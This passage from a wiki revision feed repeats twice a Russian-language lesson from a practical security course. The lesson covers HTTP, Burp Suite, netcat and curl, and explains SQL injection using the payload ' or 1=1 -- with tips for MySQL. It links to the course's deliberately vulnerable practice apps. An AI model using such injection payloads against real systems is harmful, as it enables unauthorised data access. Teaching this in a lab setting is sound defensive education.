		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=679"/>
		<updated>2022-06-30T17:35:37Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* SQL injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [https://portswigger.net/burp/documentation/desktop/getting-started Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы (кстати, чтобы это реально сработало для mysql-базы, надо чтобы после &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; ещё стоял символ пробела, в URL его можно послать как &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt;, либо вместо &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; использовать другой символ комментария - решётку (&amp;lt;code&amp;gt;%23&amp;lt;/code&amp;gt;)). Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz приблизительный исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=678</id>
		<title>Введение в практическую безопасность (2019)/HTTP, инструменты &amp; SQL injection</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%92%D0%B2%D0%B5%D0%B4%D0%B5%D0%BD%D0%B8%D0%B5_%D0%B2_%D0%BF%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D1%83%D1%8E_%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D1%8C_(2019)/HTTP,_%D0%B8%D0%BD%D1%81%D1%82%D1%80%D1%83%D0%BC%D0%B5%D0%BD%D1%82%D1%8B_%26_SQL_injection&amp;diff=678"/>
		<updated>2022-06-30T17:35:12Z</updated>

		<summary type="html">&lt;p&gt;Asterite: /* SQL injection */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
== HTTP ==&lt;br /&gt;
&lt;br /&gt;
Клиенты (например, веб-браузеры) взаимодействуют с веб-приложениями по протоколу &#039;&#039;&#039;HTTP&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/HTTP википедия], стандарт HTTP 1.1: [https://tools.ietf.org/html/rfc2616 RFC 2616], [https://tools.ietf.org/html/rfc7230 RFC 7230], [https://tools.ietf.org/html/rfc7231 RFC 7231]). Он работает поверх [https://ru.wikipedia.org/wiki/Transmission_Control_Protocol TCP], стандартный TCP-порт для HTTP это порт &#039;&#039;&#039;80&#039;&#039;&#039;, а для HTTPS (HTTP поверх SSL, т. е. с шифрованием) это порт &#039;&#039;&#039;443&#039;&#039;&#039;. Протокол состоит из запросов (которые клиент отправляет серверу) и ответов (которые сервер присылает в ответ). Протокол HTTP версии 1.1 (наиболее используемой в данный момент) и более ранних - текстовый, то есть сообщения этого протокола человекочитаемые. К примеру, вот запрос, который сделает браузер при переходе по URL http://sql1.stands.course.secsem.ru/users:&amp;lt;br&amp;gt;[[Файл:Http-req-annot.png]] &amp;lt;br&amp;gt;Ответ сервера на него:&amp;lt;br&amp;gt;[[Файл:Http-res-annot.png]]&amp;lt;br&amp;gt;Ещё пример, запрос, который сделает браузер при попытке (неудачной) залогиниться на сайте vk.com c почтой &amp;quot;admin@adminmail.ru&amp;quot; и паролем &amp;quot;adminpassword&amp;quot;:&amp;lt;br&amp;gt;[[Файл:Http-req-post-annot.png]]&amp;lt;br&amp;gt;Ответ сервера на этот запрос&amp;lt;br&amp;gt;[[Файл:Http-res-post-annot.png]]&lt;br /&gt;
&lt;br /&gt;
Еще информация: про основы веб-технологий &amp;lt;s&amp;gt;[http://old.secsem.ru/lections?action=AttachFile&amp;amp;do=get&amp;amp;target=infosec-network2013-4-%D0%9E%D1%81%D0%BD%D0%BE%D0%B2%D1%8B+%D0%B2%D0%B5%D0%B1-%D1%82%D0%B5%D1%85%D0%BD%D0%BE%D0%BB%D0%BE%D0%B3%D0%B8%D0%B9.pdf в слайдах нашего спецкурса 2013 года]&amp;lt;/s&amp;gt; [https://www.youtube.com/watch?v=drpCqzSpvq4 в видео лекции Андрея Петухова на нашем спецкурсе 2013 года].&lt;br /&gt;
&lt;br /&gt;
== Инструменты ==&lt;br /&gt;
&lt;br /&gt;
=== Burp Suite ===&lt;br /&gt;
&lt;br /&gt;
Для анализа HTTP-взаимодействия между клиентом и сервером, а также для вмешательства в него удобен &#039;&#039;&#039;Burp Suite&#039;&#039;&#039;. Он может работать как HTTP-proxy, то есть получать от клиента запрос и пересылать его серверу, получать ответ сервера и передавать его клиенту. При этом Burp может показывать запросы и ответы пользователю, задерживать и изменять их. Кроме этого, он может формировать и отправлять новые HTTP-запросы сам (&amp;quot;вручную&amp;quot;). [https://portswigger.net/burp/documentation/desktop/getting-started Здесь написано как его скачать и начать использовать].&lt;br /&gt;
&lt;br /&gt;
=== Netcat и curl ===&lt;br /&gt;
&lt;br /&gt;
Более простые инструменты, позволяющие отправлять HTTP-запросы веб-приложению и получать ответы - &#039;&#039;&#039;netcat&#039;&#039;&#039; и &#039;&#039;&#039;curl&#039;&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Netcat&#039;&#039;&#039; ([https://www.opennet.ru/man.shtml?topic=netcat man]) позволяет установить tcp-соединение, после чего отправляет на другой конец всё что подано ему на стандартный ввод и печатает на стандартный вывод всё, что получил. Он позволяет буквально &amp;quot;руками&amp;quot; набрать и отправить HTTP-запрос. Вот как можно отправить запрос, соответствующий переходу по URL http://mail.ru:&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc mail.ru 80&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:08:08 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: keep-alive&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&lt;br /&gt;
^C&amp;lt;/pre&amp;gt;&lt;br /&gt;
То же самое, но с флагом &amp;quot;-v&amp;quot; (который говорит Netcat выдавать более подробную диагностику, в т. ч. написать об успешности установления TCP-соединения и парой дополнительных HTTP-заголовков (заголовок &amp;quot;Connection: close&amp;quot; говорит серверу что после этого запроса TCP-соединение будет закрыто, новых запросов в нём не будет):&lt;br /&gt;
&amp;lt;pre&amp;gt;$ nc -v mail.ru 80&lt;br /&gt;
Connection to mail.ru 80 port [tcp/http] succeeded!&lt;br /&gt;
GET / HTTP/1.1&lt;br /&gt;
Host: mail.ru&lt;br /&gt;
Accept: */*&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 301 Moved Permanently&lt;br /&gt;
Server: nginx/1.14.1&lt;br /&gt;
Date: Sun, 24 Feb 2019 20:14:37 GMT&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
Content-Length: 185&lt;br /&gt;
Connection: close&lt;br /&gt;
Location: https://mail.ru&lt;br /&gt;
X-XSS-Protection: 1; mode=block; report=https://cspreport.mail.ru/xxssprotection&lt;br /&gt;
X-Content-Type-Options: nosniff&lt;br /&gt;
&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;301 Moved Permanently&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;
&amp;lt;body bgcolor=&amp;quot;white&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;center&amp;gt;&amp;lt;h1&amp;gt;301 Moved Permanently&amp;lt;/h1&amp;gt;&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&amp;lt;center&amp;gt;nginx/1.14.1&amp;lt;/center&amp;gt;&lt;br /&gt;
&amp;lt;/body&amp;gt;&lt;br /&gt;
&amp;lt;/html&amp;gt;&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;curl&#039;&#039;&#039; ([https://curl.haxx.se/docs/manpage.html man]) позволяет очень просто делать HTTP-запросы из консоли.&lt;br /&gt;
&amp;lt;pre&amp;gt;$ curl -v http://example.org&lt;br /&gt;
* Rebuilt URL to: http://example.org/&lt;br /&gt;
*   Trying 93.184.216.34...&lt;br /&gt;
* TCP_NODELAY set&lt;br /&gt;
* Connected to example.org (93.184.216.34) port 80 (#0)&lt;br /&gt;
&amp;gt; GET / HTTP/1.1&lt;br /&gt;
&amp;gt; Host: example.org&lt;br /&gt;
&amp;gt; User-Agent: curl/7.58.0&lt;br /&gt;
&amp;gt; Accept: */*&lt;br /&gt;
&amp;gt; &lt;br /&gt;
&amp;lt; HTTP/1.1 200 OK&lt;br /&gt;
&amp;lt; Cache-Control: max-age=604800&lt;br /&gt;
&amp;lt; Content-Type: text/html; charset=UTF-8&lt;br /&gt;
&amp;lt; Date: Sun, 24 Feb 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Etag: &amp;quot;1541025663+ident&amp;quot;&lt;br /&gt;
&amp;lt; Expires: Sun, 03 Mar 2019 20:33:38 GMT&lt;br /&gt;
&amp;lt; Last-Modified: Fri, 09 Aug 2013 23:54:35 GMT&lt;br /&gt;
&amp;lt; Server: ECS (phd/FD58)&lt;br /&gt;
&amp;lt; Vary: Accept-Encoding&lt;br /&gt;
&amp;lt; X-Cache: HIT&lt;br /&gt;
&amp;lt; Content-Length: 1270&lt;br /&gt;
&amp;lt; &lt;br /&gt;
&amp;lt;!doctype html&amp;gt;&lt;br /&gt;
&amp;lt;html&amp;gt;&lt;br /&gt;
&amp;lt;head&amp;gt;&lt;br /&gt;
    &amp;lt;title&amp;gt;Example Domain&amp;lt;/title&amp;gt;&lt;br /&gt;
&lt;br /&gt;
    &amp;lt;meta charset=&amp;quot;utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
    &amp;lt;meta http-equiv=&amp;quot;Content-type&amp;quot; content=&amp;quot;text/html; charset=utf-8&amp;quot; /&amp;gt;&lt;br /&gt;
...&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== SQL injection ==&lt;br /&gt;
&lt;br /&gt;
Веб-приложения нередко используют SQL-базы данных, т. е. такие БД, взаимодействие с которыми осуществляется через запросы на языке &#039;&#039;&#039;SQL&#039;&#039;&#039; ([https://ru.wikipedia.org/wiki/SQL википедия], [http://citforum.ru/database/osbd/glava_55.shtml#_5 курс &amp;quot;Основы современных баз данных&amp;quot; С.Д. Кузнецова]). Поиграться с SQL можно просто в [http://sqlfiddle.postgrespro.ru/#!17//5814 SQL Fiddle] или с помощью [https://linux.die.net/man/1/sqlite3 sqlite3]. Пример SQL-запросов и ответов на них:&amp;lt;br&amp;gt;[[Файл:Sql1-annotated.png]]&amp;lt;br&amp;gt;[[Файл:Sql2-annotated.png]]&amp;lt;br&amp;gt;Веб-приложение формирует и отправляет базе SQL-запросы, которые могут зависеть от параметров, пришедших от клиента (взятых из HTTP-запроса). SQL-запросы текстовые и простой способ сделать запрос, зависящий от параметра - просто подставить этот параметр в текст запроса.&lt;br /&gt;
Пример кода (на языке [https://www.python.org/ Python]), подставляющего параметр из HTTP-запроса в SQL-запрос к базе:&lt;br /&gt;
[[Файл:Sqli-code.png|650px]]&lt;br /&gt;
Здесь &amp;quot;request.args.get(&#039;login&#039;)&amp;quot; считывает значение параметра &amp;quot;login&amp;quot; query string запроса. Вот какой вид примет запрос, если параметр login будет иметь значение &amp;quot;testuser&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-req.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Значение &amp;quot;testuser&amp;quot; подставилось в строковый литерал в одинарных кавычках. Говорят, что значение попало в &#039;&#039;&#039;контекст&#039;&#039;&#039; строкового литерала.&lt;br /&gt;
После такой подстановки может оказаться, что смысл SQL-запроса изменился и данные, подставленые в запрос стали не просто значением параметра запроса (скажем, числовым или стокововым литералом), а какими-то еще конструкциями языка SQL. Вот какой запрос будет сформирован, если параметр &amp;quot;login&amp;quot; будет иметь значение &amp;lt;code&amp;gt;&#039; or 1=1 --&amp;lt;/code&amp;gt;:&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sqli-annot.png|540px]]&lt;br /&gt;
&lt;br /&gt;
В результате выражение в &amp;lt;code&amp;gt;WHERE&amp;lt;/code&amp;gt;-части приняло вид &amp;lt;code&amp;gt;login=&amp;amp;#39;&amp;amp;#39; or 1=1&amp;lt;/code&amp;gt;, оно будет истинным для любой строки таблицы, в результате чего в ответ на этот запрос будут возвращены все строки таблицы (кстати, чтобы это реально сработало для mysql-базы, надо чтобы после &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; ещё стоял символ пробела, в URL его можно послать как &amp;lt;code&amp;gt;%20&amp;lt;/code&amp;gt;, либо вместо &amp;lt;code&amp;gt;--&amp;lt;/code&amp;gt; &lt;br /&gt;
 использовать другой символ комментария - решётку (&amp;lt;code&amp;gt;%23&amp;lt;/code&amp;gt;)). Так же можно изменить смысл запроса и передав специфическое значение параметра id для этого кода (для этого даже не придётся добавлять в значение параметра кавычку):&lt;br /&gt;
&lt;br /&gt;
[[Файл:Sql-id.png|520px]]&lt;br /&gt;
&lt;br /&gt;
Возможность передать такое значение параметра HTTP-запроса, которое подставится в текст SQL-запроса и при подстановке изменит смысл этого запроса называется &#039;&#039;&#039;SQL injection&#039;&#039;&#039; ([https://www.owasp.org/index.php/SQL_Injection OWASP]). Хорошую статью про SQL injection можно [https://rdot.org/forum/showthread.php?s=f4292383c9896b773bd98d827eb9411f&amp;amp;t=124 найти тут] и [http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet еще тут].&lt;br /&gt;
&lt;br /&gt;
Попробовать эксплуатировать SQL injection можно на этих уязвимых приложениях:&lt;br /&gt;
* http://sql1.stands.course.secsem.ru/ ([https://course.secsem.ru/task-src/sql1.tgz приблизительный исходный код])&lt;br /&gt;
* http://sql2.stands.course.secsem.ru/&lt;br /&gt;
&lt;br /&gt;
Фактически, SQLi это один из представителей класса уязвимостей &#039;&#039;&#039;injection&#039;&#039;&#039;, которые получаются, если в какие-то управляющие команды подставляются параметры-данные от пользователя и эти данные могут выйти из контекста, куда подставляются, перестав быть просто данными, и поменять смысл команды.&lt;/div&gt;</summary>
		<author><name>Asterite</name></author>
	</entry>
	<entry>
